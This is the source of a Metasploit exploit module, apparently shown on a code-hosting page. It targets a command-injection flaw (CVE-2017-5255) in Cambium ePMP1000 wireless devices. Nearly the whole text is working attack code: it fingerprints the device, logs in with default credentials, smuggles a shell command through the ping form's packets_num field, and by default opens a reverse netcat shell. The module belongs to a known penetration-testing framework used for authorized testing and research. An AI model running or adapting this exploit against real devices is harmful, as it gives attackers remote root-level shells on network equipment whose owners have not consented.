Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/epmp1000_ping_cmd_shell.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => "Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)",13'Description' => %{14This module exploits an OS Command Injection vulnerability in Cambium15ePMP1000 device management portal. It requires any one of the following login16credentials - admin/admin, installer/installer, home/home - to set up a reverse17netcat shell.18},19'License' => MSF_LICENSE,20'Author' =>21[22'Karn Ganeshen <KarnGaneshen[at]gmail.com>'23],24'References' =>25[26['CVE', '2017-5255'],27['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],28['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']29],30'Privileged' => true,31'Targets' =>32[33['EPMP',34{35'Arch' => ARCH_CMD,36'Platform' => 'unix'37}38]39],40'DisclosureDate' => '2015-11-28',41'DefaultTarget' => 0,42'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })43)4445register_options(46[47Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.48OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),49OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])50], self.class51)5253deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')54end5556#57# Fingerprinting58#59def is_app_epmp1000?60begin61res = send_request_cgi(62{63'uri' => '/',64'method' => 'GET'65}66)67rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError68print_error("#{rhost}:#{rport} - HTTP Connection Failed...")69return false70end7172good_response = (73res &&74res.code == 200 &&75(res.body.include?('cambium.min.css') || res.body.include?('cambiumnetworks.com') && res.body.include?('https://support.cambiumnetworks.com/files/epmp/'))76)7778if good_response79get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)80if !get_epmp_ver.nil?81epmp_ver = get_epmp_ver[1]82if !epmp_ver.nil?83print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")84return true, epmp_ver85else86print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")87epmp_ver = ''88return true, epmp_ver89end90end91else92print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. The target is not vulnerable.")93epmp_ver = nil94return false95end96end9798#99# check100#101def check102success, epmp_ver = is_app_epmp1000?103if (success != 'false' && !epmp_ver.nil? && epmp_ver < '2.5')104return CheckCode::Vulnerable105else106return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using ~the module~'107end108end109110#111# Login112#113def login(user, pass)114res = send_request_cgi(115{116'uri' => '/cgi-bin/luci',117'method' => 'POST',118'headers' => {119'X-Requested-With' => 'XMLHttpRequest',120'Accept' => 'application/json, text/javascript, */*; q=0.01'121},122'vars_post' =>123{124'username' => 'dashboard',125'password' => ''126}127}128)129130cookies = res.get_cookies_parsed131check_sysauth = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s132133good_response = (134res &&135res.code == 200 &&136check_sysauth.include?('sysauth')137)138139if good_response140sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s141sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)142143cookie1 = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"144145res = send_request_cgi(146{147'uri' => '/cgi-bin/luci',148'method' => 'POST',149'cookie' => cookie1,150'headers' => {151'X-Requested-With' => 'XMLHttpRequest',152'Accept' => 'application/json, text/javascript, */*; q=0.01',153'Connection' => 'close'154},155'vars_post' =>156{157'username' => user,158'password' => pass159}160}161)162163cookies = res.get_cookies_parsed164165good_response = (166res &&167res.code == 200 &&168!res.body.include?('auth_failed')169)170171if good_response172print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")173174# check if max_user_number_reached?175if !res.body.include?('max_user_number_reached')176# get the final cookie now177cookies = res.get_cookies_parsed178stok_value = cookies.has_key?('stok') && cookies['stok'].first179sysauth_dirty = cookies.values.select { |v| v.to_s =~ /sysauth_/ }.first.to_s180sysauth_value = sysauth_dirty.match(/((.*)[$ ])/)181182final_cookie = "#{sysauth_value}" + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + stok_value183184# create config_uri185config_uri_ping = '/cgi-bin/luci/;stok=' + stok_value + '/admin/ping'186187return final_cookie, config_uri_ping188else189print_error('The credentials are correct but maximum number of logged-in users reached. Try again later.')190final_cookie = 'skip'191config_uri_ping = 'skip'192return final_cookie, config_uri_ping193end194else195print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")196final_cookie = 'skip'197config_uri_ping = 'skip'198return final_cookie, config_uri_ping199end200end201end202203#204# open cmd_shell205#206def cmd_shell(config_uri, cookie)207command = payload.encoded208inject = '|' + "#{command}" + ' ||'209clean_inject = CGI.unescapeHTML(inject.to_s)210211print_status('Sending payload...')212213res = send_request_cgi(214{215'method' => 'POST',216'uri' => config_uri,217'cookie' => cookie,218'headers' => {219'Accept' => '*/*',220'Accept-Language' => 'en-US,en;q=0.5',221'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',222'X-Requested-With' => 'XMLHttpRequest',223'Connection' => 'close'224},225'vars_post' =>226{227'ping_ip' => '127.0.0.1', # This parameter can also be used for injection228'packets_num' => clean_inject,229'buf_size' => 0,230'ttl' => 1,231'debug' => '0'232}233}, 25234)235handler236end237238# exploit239240def exploit241success, epmp_ver = is_app_epmp1000?242if epmp_ver < '2.5'243cookie, config_uri_ping = login(datastore['USERNAME'], datastore['PASSWORD'])244if cookie == 'skip' && config_uri_ping == 'skip'245return246else247cmd_shell(config_uri_ping, cookie)248end249else250print_error('This ePMP version is not vulnerable. Module will not continue.')251return252end253end254end255256257